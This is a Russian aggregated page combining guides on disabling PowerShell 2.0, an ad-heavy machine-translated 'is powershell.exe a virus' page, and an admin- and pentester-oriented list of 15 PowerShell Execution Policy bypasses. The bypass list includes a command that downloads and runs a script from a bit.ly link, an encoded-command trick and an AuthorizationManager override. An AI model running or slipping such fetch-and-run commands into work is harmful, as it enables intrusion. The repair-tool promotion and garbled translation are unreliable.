Как отключить windows powershell

Как отключить windows powershell навсегда

Как отключить windows powershell

В Windows 10 14971 стандартная командная строка в меню Win + X была заменена ее усовершенствованным аналогом PowerShell .

В последней на данный момент стабильной сборке системы — Windows 10 1803 используется уже пятая версия этого инструмента, но вместе с тем в ней по-прежнему присутствует и работает устаревшая версия PowerShell 2.0 .

Консоль второй версии может использоваться некоторыми приложениями, но вместе с тем она представляет угрозу безопасности, делая возможным запуск в системе вредоносных скриптов.

В настоящее время разработчиками Microsoft ведется работа над оптимизацией использующих PowerShell 2.

0 приложений, по завершении которой устаревшая версия оболочки будет отключена, но вы можете не дожидаться этого момента и отключить ее самостоятельно.

На работу Windows 10 это не должно повлиять, в случае же крайней необходимости включить PowerShell 2.0 вы сможете в любое время. Для начала стоит проверить, включена ли устаревшая версия в вашей системе вообще.

Для этого запустите PowerShell от имени администратора и выполните такую команду:

Обратите внимание на значение выведенного параметра State.

Если в системе активен PowerShell второй версии, оно будет Enabled (включено) , в противном случае значение будет Disabled (отключено) . Во втором случае ничего предпринимать не нужно, если же устаревшая версия консоли всё же окажется включенной, отключите ее, выполнив тут же следующую команду:

Чтобы окончательно убедиться, что PowerShell 2.0 действительно отключен, выполните первую команду и посмотрите значение параметра State.

Деактивировать устаревшую версию консоли можно также с помощью апплета управления компонентами Windows. Запустите его командой optionalfeatures , найдите в списке компонентов пункт Windows PowerShell 2.0, снимите с него птичку и нажмите «OK».

Изменения вступят в силу сразу, перезагружать компьютер нет необходимости.

Источник

Как удалить PowerShell в Windows 10

Оболочка Windows PowerShell пришла в операционную систему Windows 10 на замену командной строки, хотя командная строка также получила обновление и возможность вставки команд с буфера обмена. Поскольку большинство пользователей привыкли к обычной командной строке, то даже замена пункта командной строки на оболочку PowerShell может показаться навязчивой.

Данная статья расскажет как удалить Windows PowerShell и вернуть командную строку вместо PowerShell в Windows 10. Процесс удаления оболочки заключается в отключении компонента Windows PowerShell 2.0 или же только в замене пункта в контекстном меню. Обратите внимание, что полностью убрать оболочку Windows PowerShell не удастся, даже после полного отключения компонента.

Как вернуть командную строку вместо PowerShell в Windows 10

С выходом нового обновления операционной системы в контекстном меню пуска была сделана замена возможности выбора командной строки на Windows PowerShell. Корпорация Майкрософт оставила за пользователями возможность возврата командной строки вместо PowerShell.

  1. Открываем Пуск > Параметры > Персонализация > Панель задач.
  2. Дальше изменяем значение пункта Заменить командную строку оболочкой Windows PowerShell в меню, которое появляется при щелчке правой кнопкой мыши по кнопке Пуск или при нажатии клавиш Windows+X на Отключено.

После чего в контекстном меню пуск появится доступная ранее командная строка. Смотрите также другие способы запуска командной строки в Windows 10.

А также заменить PowerShell на командную строку можно использую редактор реестра.

Обратите внимание что перед внесением изменений в реестр рекомендуется создать резервную копию реестра, а после внесения изменений необходимо выполнить перезагрузку компьютера или перезапуск проводника.

  1. Откройте редактор реестра выполнив команду regedit в окне Win+R.
  2. Дальше перейдите в расположение: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
  3. Измените значение параметра DontUsePowerShellOnWinX на 1.

Программы и компоненты

Ранее мы уже рассматривали где находятся программы и компоненты в Windows 10, среди которых и присутствует оболочка Windows PowerShell 2.0. Включение и отключение компонента позволяет добавить или удалить оболочку Windows PowerShell в Windows 10. Полностью удалить компонент из системы последней версии не получится, и собственно в этом нет необходимости.

  1. Откройте компоненты Windows выполнив команду optionalfeatures в окне Win+R.
  2. Дальше найдите в открывшемся списке компонент Windows PowerShell 2.0 и отключите его.

Чтобы отключить компонент, достаточно снять его флажок и применить изменения. Затемненный флажок означает, что компонент включен частично.

Windows PowerShell

Для отключения компонента можно использовать сам компонент Windows PowerShell. Пользователю достаточно запустить оболочку PowerShell и выполнить одну команду для отключения любого с компонентов.

  1. Запускаем оболочку выбрав в результатах поиска классическое приложение Windows PowerShell от имени администратора.
  2. В открывшемся окне выполняем следующую команду: [stextbox -Online -FeatureName MicrosoftWindowsPowerShellV2Root[/stextbox]

С помощью одной команды можно отключить ненужный компонент Windows PowerShell устаревшей версии. После отключения обновленный PowerShell пятой версии останется доступным.

Вместе с обновлениями Windows 10 обновляются и компоненты операционной системы. Изменения потерпели множество компонентов, начиная от оболочки Windows PowerShelll, и включительно до компонента виртуализации Hyper-V Windows 10.

После отключения компонента Windows PowerShell второй версии обновленный PowerShell останется. Но пользователи предпочитающие видеть командную строку в контекстном меню пуск могут нажатием одной кнопки её вернуть.

Источник

Как отключить Windows PowerShell 2.0 В Windows 10

Публикация: 30 Май 2018 9 Июль 2020

На данный момент текущая версия Windows PowerShell – 5. PowerShell по умолчанию предустановлен в Windows 10 и заменяет командную строку в меню пользователя Win X.

PowerShell 5 – стабильная версия, работающая в вашей системе, однако старая версия PowerShell 2.

0 по-прежнему включена, и представляет угрозу безопасности вашей системе, которая может использоваться для запуска вредоносных скриптов.

Даже если вы получаете последние обновления безопасности для Windows 10, это не значит, что PowerShell 2.0 удален для всех пользователей. Он может быть все еще включен в вашей системе.

Вот как вы можете проверить, какую версию вы используете и как отключить Windows PowerShell 2.0.

Проверить PowerShell 2.0

Откройте PowerShell от имени администратора и выполните следующую команду.

В результатах, после выполнения этой командой, посмотрите строку State «Состояние». Если она говорит, что это оболочка версии 2.0 «Enabled» (Включена), вам необходимо ее отключить. Если команда возвращает значение «Disabled» (Отключено), вам не нужно ничего делать.

Отключить Windows PowerShell 2.0

Откройте PowerShell с правами администратора и выполните следующую команду;

Это отключит оболочку Windows PowerShell 2.0. Вы можете проверить это, выполнив первую команду еще раз. Строка State должна иметь значение «Disabled» (Отключено).

Если вы нехотите выполнять команду в PowerShell, вы можете отключить эту функцию с помощью Панели управления. Откройте «Проводник» и введите в адресной строке следующее:

Нажмите «Включение или отключение компонентов Windows». Это откроет новое окно «Компоненты Windows». Может потребоваться некоторое время, чтобы загрузить список функций, которые вы можете включить / отключить. После загрузки списка прокрутите список до середины и найдите Windows PowerShell 2.0. Снимите флажок и нажмите «ОК».

Вам не нужно перезагружать систему, чтобы применить изменения.

В чем заключается риск.

В Windows PowerShell 5 есть функция защиты от вредоносных программ, которая сканирует и предотвращает запуск вредоносных сценариев, но механизм PowerShell 2.0 можно использовать для запуска атаки, которая может обойти проверку на наличие вредоносных программ. В конечном итоге это приведет к запуску вредоносного скрипта PowerShell в вашей системе.

Отключение старой оболочки не должно иметь негативных последствий. Microsoft знает, что некоторые приложения по-прежнему используют PowerShell 2.0, но они работают, над тем, чтобы перенести их в более новую версию. Хотя компонент устарел, он все равно останется частью Windows 10 в обозримом будущем, и пользователи смогут его включить, если они этого захотят.

Источник

Источник: https://a174.ru/kak-otklyuchit-windows-powershell-navsegda/

Что такое powershell.exe? Это безопасно или вирус? Как удалить или исправить это

Как отключить windows powershell

powershell.exe это исполняемый файл, который является частью Windows PowerShell V2 CTP Программа, разработанная Корпорация Microsoft, Программное обеспечение обычно о 958 KB по размеру.

Расширение .exe имени файла отображает исполняемый файл. В некоторых случаях исполняемые файлы могут повредить ваш компьютер. Пожалуйста, прочитайте следующее, чтобы решить для себя, является ли powershell.exe Файл на вашем компьютере – это вирус или троянский конь, который вы должны удалить, или это действительный файл операционной системы Windows или надежное приложение.

Рекомендуется: Выявление ошибок powershell.exe, связанных с
(опциональное предложение для Reimage – Cайт | Лицензионное соглашение | Политика Конфиденциальности | Удалить)

Powershell.exe безопасно, или это вирус или вредоносная программа?

Первое, что поможет вам определить, является ли тот или иной файл законным процессом Windows или вирусом, это местоположение самого исполняемого файла. Например, такой процесс, как powershell.exe, должен запускаться, а не где-либо еще.

Для подтверждения откройте диспетчер задач, выберите «Просмотр» -> «Выбрать столбцы» и выберите «Имя пути к изображению», чтобы добавить столбец местоположения в диспетчер задач. Если вы обнаружите здесь подозрительный каталог, возможно, стоит дополнительно изучить этот процесс.

Еще один инструмент, который иногда может помочь вам обнаружить плохие процессы, – это Microsoft Process Explorer. Запустите программу (не требует установки) и активируйте «Проверить легенды» в разделе «Параметры». Теперь перейдите в View -> Select Columns и добавьте «Verified Signer» в качестве одного из столбцов.

Если статус процесса «Проверенная подписывающая сторона» указан как «Невозможно проверить», вам следует взглянуть на процесс. Не все хорошие процессы Windows имеют метку проверенной подписи, но ни один из плохих.

Наиболее важные факты о powershell.exe:

  • Находится в C: \ Windows \ System32 \ WindowsPowerShell \ v1.0 \ ан-нас вложенная;
  • Издатель: Корпорация Microsoft
  • Полный путь:
  • Файл справки: connect.microsoft.com
  • URL издателя: technet.microsoft.com/en-us/library/bb978526.aspx
  • Известно, что до 958 KB по размеру на большинстве окон;

Если у вас возникли какие-либо трудности с этим исполняемым файлом, перед удалением powershell.exe вам следует определить, заслуживает ли он доверия. Для этого найдите этот процесс в диспетчере задач.

Найдите его местоположение (оно должно быть в C: \ Windows \ System32 \ windowspowershell \ v1.0 \ en-us) и сравните размер и т. Д. С приведенными выше фактами.

Если вы подозреваете, что можете быть заражены вирусом, вы должны немедленно попытаться это исправить. Чтобы удалить вирус powershell.

exe, необходимо Загрузите и установите приложение полной безопасности, например Malwarebytes.

, Обратите внимание, что не все инструменты могут обнаружить все типы вредоносных программ, поэтому вам может потребоваться попробовать несколько вариантов, прежде чем вы добьетесь успеха.

Кроме того, функциональность вируса может сама влиять на удаление powershell.exe. В этом случае вы должны включить Безопасный режим с поддержкой сети – безопасная среда, которая отключает большинство процессов и загружает только самые необходимые службы и драйверы. Когда вы можете запустить программу безопасности и полный анализ системы.

Не следует удалять безопасный исполняемый файл без уважительной причины, так как это может повлиять на производительность любых связанных программ, использующих этот файл.

Не забывайте регулярно обновлять программное обеспечение и программы, чтобы избежать будущих проблем, вызванных поврежденными файлами.

Что касается проблем с функциональностью программного обеспечения, проверяйте обновления драйверов и программного обеспечения чаще, чтобы избежать или вообще не возникало таких проблем.

Согласно различным источникам онлайн, 9% людей удаляют этот файл, поэтому он может быть безвредным, но рекомендуется проверить надежность этого исполняемого файла самостоятельно, чтобы определить, является ли он безопасным или вирусом. Лучшая диагностика для этих подозрительных файлов – полный системный анализ с Reimage, Если файл классифицируется как вредоносный, эти приложения также удаляют powershell.exe и избавляются от связанных вредоносных программ.

Однако, если это не вирус, и вам нужно удалить powershell.exe, вы можете удалить Windows PowerShell V2 CTP со своего компьютера, используя программу удаления, которая должна находиться по адресу: MsiExec.

exe / X {161BA3E6-D067-446D- A768-18585FF07765}. Если вы не можете найти его деинсталлятор, вам может потребоваться удалить Windows PowerShell V2 CTP, чтобы полностью удалить powershell.exe.

Вы можете использовать функцию «Установка и удаление программ» на панели управления Windows.

  • 1. в Меню Пуск (для Windows 8 щелкните правой кнопкой мыши в нижнем левом углу экрана), нажмите панель, а затем под программы: o Windows Vista / 7 / 8.1 / 10: нажмите Удаление программы. o Windows XP: нажмите Добавить или удалить программы.
  • 2. Когда вы найдете программу Windows PowerShell V2 CTPщелкните по нему, а затем: o Windows Vista / 7 / 8.1 / 10: нажмите Удалить. o Windows XP: нажмите Удалить or Изменить / Удалить вкладка (справа от программы).
  • 3. Следуйте инструкциям по удалению Windows PowerShell V2 CTP.

Распространенные сообщения об ошибках в powershell.exe

Наиболее распространенные ошибки powershell.exe, которые могут возникнуть:

• «Ошибка приложения powershell.exe». • «Ошибка powershell.exe». • «PowerShell.exe столкнулся с проблемой и будет закрыт. Приносим извинения за неудобства». • «PowerShell.exe не является допустимым приложением Win32». • «PowerShell.exe не запущен». • «powershell.exe не найден». • «Не удается найти powershell.exe». • «Ошибка запуска программы: powershell.exe.»

• «Неверный путь к приложению: powershell.exe».

Эти сообщения об ошибках .exe могут появляться во время установки программы, во время выполнения связанной с ней программы Windows PowerShell V2 CTP, при запуске или завершении работы Windows, или даже при установке операционной системы Windows. Отслеживание момента появления ошибки powershell.exe является важной информацией при устранении неполадок.

Как исправить powershell.exe

Аккуратный и опрятный компьютер – это один из лучших способов избежать проблем с Windows PowerShell V2 CTP.

Это означает выполнение сканирования на наличие вредоносных программ, очистку жесткого диска cleanmgr а так же ПФС / SCANNOWудаление ненужных программ, мониторинг любых автозапускаемых программ (с помощью msconfig) и включение автоматических обновлений Windows. Не забывайте всегда делать регулярные резервные копии или хотя бы определять точки восстановления.

Если у вас возникла более серьезная проблема, постарайтесь запомнить последнее, что вы сделали, или последнее, что вы установили перед проблемой. Использовать resmon Команда для определения процессов, вызывающих вашу проблему.

Даже в случае серьезных проблем вместо переустановки Windows вы должны попытаться восстановить вашу установку или, в случае Windows 8, выполнив команду DISM.

exe / Online / Очистка-изображение / Восстановить здоровье, Это позволяет восстановить операционную систему без потери данных.

Чтобы помочь вам проанализировать процесс powershell.

exe на вашем компьютере, вам могут пригодиться следующие программы: Менеджер задач безопасности отображает все запущенные задачи Windows, включая встроенные скрытые процессы, такие как мониторинг клавиатуры и браузера или записи автозапуска.

Единый рейтинг риска безопасности указывает на вероятность того, что это шпионское ПО, вредоносное ПО или потенциальный троянский конь. Это антивирус обнаруживает и удаляет со своего жесткого диска шпионское и рекламное ПО, трояны, кейлоггеры, вредоносное ПО и трекеры.

Мы рекомендуем вам попробовать этот новый инструмент. Он исправляет множество компьютерных ошибок, а также защищает от таких вещей, как потеря файлов, вредоносное ПО, сбои оборудования и оптимизирует ваш компьютер для максимальной производительности. Это исправило наш компьютер быстрее, чем делать это вручную:

  • Шаг 1: Скачать PC Repair & Optimizer Tool (Windows 10, 8, 7, XP, Vista – Microsoft Gold Certified).
  • Шаг 2: Нажмите «Начать сканирование”, Чтобы найти проблемы реестра Windows, которые могут вызывать проблемы с ПК.
  • Шаг 3: Нажмите «Починить все», Чтобы исправить все проблемы.

(опциональное предложение для Reimage – Cайт | Лицензионное соглашение | Политика Конфиденциальности | Удалить)

Загрузите или переустановите powershell.exe

это не рекомендуется загружать заменяемые exe-файлы с любых сайтов загрузки, поскольку они могут содержать вирусы и т. д. Если вам нужно скачать или переустановить powershell.exe, мы рекомендуем переустановить основное приложение, связанное с ним. Windows PowerShell V2 CTP.

Информация об операционной системе

Ошибки powershell.exe могут появляться в любых из нижеперечисленных операционных систем Microsoft Windows:

  • Окна 10
  • Окна 8.1
  • Окна 7
  • Windows Vista
  • Windows XP
  • Windows ME
  • Окна 2000

РЕКОМЕНДУЕМЫЕ: Нажмите здесь, чтобы устранить ошибки Windows и оптимизировать производительность системы

Источник: http://windowsbulletin.com/ru/%D1%84%D0%B0%D0%B9%D0%BB%D1%8B/%D0%B5%D1%85%D0%B5/%D0%9A%D0%BE%D1%80%D0%BF%D0%BE%D1%80%D0%B0%D1%86%D0%B8%D1%8F-%D0%9C%D0%B0%D0%B9%D0%BA%D1%80%D0%BE%D1%81%D0%BE%D1%84%D1%82/Windows-PowerShell-V2-CTP/PowerShell-Exe

15 способов обхода PowerShell Execution Policy

Как отключить windows powershell

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора.

Scott Sutherland

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows.

Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора.

Полагаю, что есть техники, которые не будут упомянуты из-за моей забывчивости или элементарного незнания, однако, надеюсь, нижеприведенный список будет хорошим стартом для тех, кто нуждается в нем.

Что такое PowerShell Execution Policy?

Execution policy определяет, какие типы скриптов могут быть запущены (если вообще могут) в системе. По умолчанию значение параметра выставлено как «Restricted», что запрещает запуск любых скриптов.

Однако следует понимать, что настройка Execution Policy никогда не относилась к управлению безопасностью, а служила лишь для того, чтобы администраторы случайно не могли вывести систему из строя. Именно поэтому существует множество техник, чтобы обойти эти настройки, включая некоторые, предоставленные компанией Microsoft.

Более подробно о Execution Policy и других настройках безопасности в PowerShell рекомендую почитать блог Карлоса Переса.

Зачем нужно обходить Execution Policy?

Кажется, один из наиболее распространенных ответов на вопрос, обозначенный в заголовке, – автоматизация процессов. Однако есть и другие причины, по которым PowerShell стал популярным среди администраторов, пентестеров и хакеров. PowerShell:

  • Встроен в Window.
  • Может вызывать Windows API.
  • Может запускать команды без записи на диск.
  • Может избегать обнаружения антивирусами.
  • Уже помечен как «достоверный» и находится в большинстве белых списков.
  • Используется при написании многих утилит безопасности с открытым исходным кодом.

Как посмотреть настройки Execution Policy

Перед началом использования всех возможностей PowerShell, потребуется обойти запрет на запуск скриптов. Текущие настройки можно получить, выполнив команду «Get-ExectionPolicy». Если запрет выставлен, то при запуске команды появится следующее сообщение:

PS C:\> Get-ExecutionPolicy

Рисунок 1: Результат выполнения команды в системе, где установлен запрет на запуск скриптов

Важно отметить, что Execution Policy может устанавливаться на различных уровнях системы. Чтобы посмотреть список уровней, используйте команду ниже (за более подробной информацией обращайтесь к соответствующей страницеTechNet).

Get-ExecutionPolicy -List | Format-Table –AutoSize

Рисунок 2: Настройки Execution Policy на различных системных уровнях

Настройка тестовой среды

В примерах ниже я буду использовать скрипт с именем runme.ps, содержащий следующую команду для вывода сообщения в консоль:

Write-Host “My voice is my passport, verify me.”

При запуске скрипта в системе со стандартными настройками Execution Policy выводится следующая ошибка:

Рисунок 3: Ошибка, выводимая при запуске тестового скрипта в среде, где настрое запрет на запуск скриптов

Если ваша текущая политика разрешает запуск скриптов, поставить запрет (в целях тестирования) можно при помощи команды Set-ExecutionPolicy Restricted, запущенной из консоли администратора PowerShell. Ну, хорошо, достаточно пустой болтовни. Перейдем непосредственно к методам обхода запрета, установленного в Execution Policy.

1. Копирование скрипта непосредственно в интерактивную консоль PowerShell

Скопируйте и вставьте скрипт в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями текущего пользователя. Метод наиболее часто используется для запуска простых скриптов, когда у вас есть доступ к интерактивной консоли. Кроме того, эта техника не влечет за собой изменения настроек и не требует записи на диск.

Рисунок 4: Запуск скрипта при помощи копирования в интерактивную консоль

2. Отправка содержимого скрипта в стандартный поток ввода PowerShell

Просто отправьте содержимое скрипта в стандартный поток ввода. Техника не влечет за собой изменения настроек и не требует записи на диск.

Echo Write-Host “My voice is my passport, verify me.” | PowerShell.exe -noprofile –

Рисунок 5: Вывод содержимого скрипта в стандартный поток ввода

3. Чтение скрипта из файла и перенаправление содержимого в стандартный поток ввода PowerShell

Используйте стандартную команду «type» или PowerShell команду «Get-Content» для чтения содержимого скрипта с диска и перенаправьте полученный результат в стандартный поток ввода. Техника не влечет за собой изменения настроек, однако требует записи на диск. Чтобы избежать записи на диск, можно использовать сетевой общий ресурс (network share).

Пример 1: Использование PowerShell команды Get-Content

Get-Content .\runme.ps1 | PowerShell.exe -noprofile –

Рисунок 6: Использование команды Get-Content

Пример 2: Использование команды Type

TYPE .\runme.ps1 | PowerShell.exe -noprofile –

Рисунок 7: Использование команды Type

4. Загрузка скрипта из сети и запуск при помощи Invoke Expression

Технику можно использовать для загрузки скрипта из интернета и запуска без записи на диск. Также не будут изменены никакие настройки. Я видел много способов запуска скриптов подобным образом, но недавно наткнулся на следующий пример:

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')”

Рисунок 8: Загрузка скрипта из интернета и запуск при помощи Invoke Expression

5. Использование параметра Command

Техника схожа с примером через копирование и вставку, но может быть использована без интерактивной консоли. Метод прекрасно подходит для простых скриптов, но запуск более сложных скриптов, обычно, оканчивается ошибками. Техника не влечет за собой изменения настроек и не требует записи на диск.

Пример 1: Полная команда

Powershell -command “Write-Host 'My voice is my passport, verify me.'”

Рисунок 9: Запуск скрипта при помощи полной версии параметра

Пример 2: Короткая команда

Powershell -c “Write-Host 'My voice is my passport, verify me.'”

Можно объединить вышеуказанные команды в пакетные файлы и поместить их в автозагрузку для увеличения уровня привилегий.

6. Использование параметра EncodeCommand

Метод схож с предыдущей техникой, но здесь все скрипты закодированы в строку Unicode. Кодирование скрипта позволяет избежать ошибок, возникающих при использовании параметра «Command». Техника не влечет за собой изменения настроек и не требует записи на диск. Пример ниже взят из Posh-SecMod. Та же утилита содержит хороший метод для уменьшения размера закодированных команд.

Пример 1: Полный вариант

$command = “Write-Host 'My voice is my passport, verify me.'”$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand = [Convert]::ToBase64String($bytes)

powershell.exe -EncodedCommand $encodedCommand

Рисунок 10: Полный вариант команды

Пример 2: Сокращенный параметр

powershell.exe -EncVwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAA

aQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Использование команды Invoke-Command

Техника, найденная мной в блоге Obscuresec, используется через интерактивную консоль или в сочетании с параметром «Command». особенность метода в том, что его можно использовать для запуска команд на удаленных системах, где разрешен запуск скриптов PowerShell. Техника не влечет за собой изменения настроек и не требует записи на диск.

invoke-command -scriptblock {Write-Host “My voice is my passport, verify me.”}

Рисунок 11: Использование команды Invoke-Command

Команда ниже, созданная по мотивам блога Obscuresec, может использоваться для переноса настроек execution policy с удаленной машины на локальную.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. Использование команды Invoke-Expression

Как и в предыдущем случае, техника используется через интерактивную консоль или в сочетании с параметром «Command». Метод не влечет за собой изменения настроек и не требует записи на диск. Ниже показано несколько наиболее распространенных способов использования команды Invoke-Expression для обхода execution policy.

Пример 1: Полная версия команды Get-Content

Get-Content .\runme.ps1 | Invoke-Expression

Рисунок 12: Полный вариант команды Get-Content

Пример 2: Сокращенный вариант Get-Content

GC .\runme.ps1 | iex

9. Использование флага Bypass

Флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов. Microsoft заявляет, что при использование этого флага «ничего не блокируется и не выводится никаких предупреждений или сообщений». Техника не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1

Рисунок 13: Использование флага Bypass

10. Использование флага Unrestricted

Техника схожа с предыдущей. Хотя, при использовании флага Unrestricted Microsoft заявляет, что «загружаются все конфигурационные файла и запускаются все скрипты. Если вы запустите неподписанный скрипт, загруженные из интернета, появится сообщение с вопросом о подтверждении запуска». Метод не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1

Рисунок 14: Использование флага Unrestricted

11. Использование флага Remote-Signed

Создайте скрипт. Затем подпишите его, используя руководство, написанное Карлосом Пересом. Теперь запустите скрипт, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .\runme.ps1

12. Запрет ExecutionPolicy путем выгрузки Authorization Manager

С этой техникой я столкнулся на сайте http://www.nivot.org. Функцию, указанную ниже, можно запустить через интерактивную консоль или в сочетании с параметром «command».

После запуска будет в поле AuthorizationManager будет установлено значение null, в результате чего остаток сессии у execution policy будет статус unrestricted.

Техника не влечет за собой постоянногоизменения в настройках и не требует записи на диск. Хотя, в текущей сессии изменения будут.

function Disable-ExecutionPolicy {($ctx =$executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue($executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

Disable-ExecutionPolicy

.\runme.ps1

Рисунок 15: Отключение Authorization Manager в текущей сессии

13. Установка Excution Policy для уровня Process

В начале статьи было сказано, что execution policy может быть применена к различным уровням (включая уровень process, на которым у вас есть контроль). Используя эту технику, execution policy может быть установлена в статус unrestricted во время сессии. Кроме того, метод не влечет за собой изменения в настройках и не требует записи на диск. Я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

Рисунок 16: Установка статуса Unrestricted для уровня Process

14. Установка статуса Unrestricted для уровня CurrentUser при помощи команды

Техника схожа с предыдущей, но здесь изменяются установки среды текущего пользователя путем модификации ключа в реестре. Метод не влечет за собой изменения настроек и не требует записи на диск. Техника также была найдена в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Рисунок 17: Установка статуса Unrestricted для уровня CurrentUser

15. Установка статуса Unrestricted для уровня CurrentUser через реестр

В этом примере я покажу, как выставлять постоянные настройки execution policy для текущего пользователя путем модификации ключа реестра напрямую.

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

Рисунок 18: Выставление статуса для execution policy через реестр

Заключение

Статья была написана с той целью, чтобы запреты execution policy не были препятствием для разработчиков, администраторов и пентестеров. Microsoft никогда не пыталась сделать безопасным PowerShell, именно поэтому столь много техник для обхода запретов.

Компания Microsoft предоставила несколько полезных встроенных инструментов, а сообщество специалистов по безопасности продемонстрировало несколько интересных трюков. Спасибо всем, кто внес свой вклад в развитие темы обхода запуска скриптов путем написания статей в блогах и презентаций.

Всем остальным желаю удачи при использовании PowerShell, и не забывайте об ответственности за свои действия ;).

Ссылки:

  • http://blogs.msdn.com/b/powershell/archive/2008/09/30/powershell-s-security-guiding-principles.aspx
  • http://obscuresecurity.blogspot.com/2011/08/powershell-executionpolicy.html
  • http://roo7break.co.uk/?page_id=611
  • http://technet.microsoft.com/en-us/library/hh849694.aspx
  • http://technet.microsoft.com/en-us/library/hh849812.aspx
  • http://technet.microsoft.com/en-us/library/hh849893.aspx
  • http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
  • http://www.hanselman.com/blog/SigningPowerShellScripts.aspx
  • http://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
  • http://www.nivot.org/blog/post/2012/02/10/Bypassing-Restricted-Execution-Policy-in-Code-or-in-Scriptfrom
  • http://www.powershellmagazine.com/2014/07/08/powersploit/

Источник: https://zen.yandex.ru/media/securitylab.ru/15-sposobov-obhoda-powershell-execution-policy-5d01d98af6c4ba00afec17e6

Поделиться:
Нет комментариев

    Добавить комментарий

    Ваш e-mail не будет опубликован. Все поля обязательны для заполнения.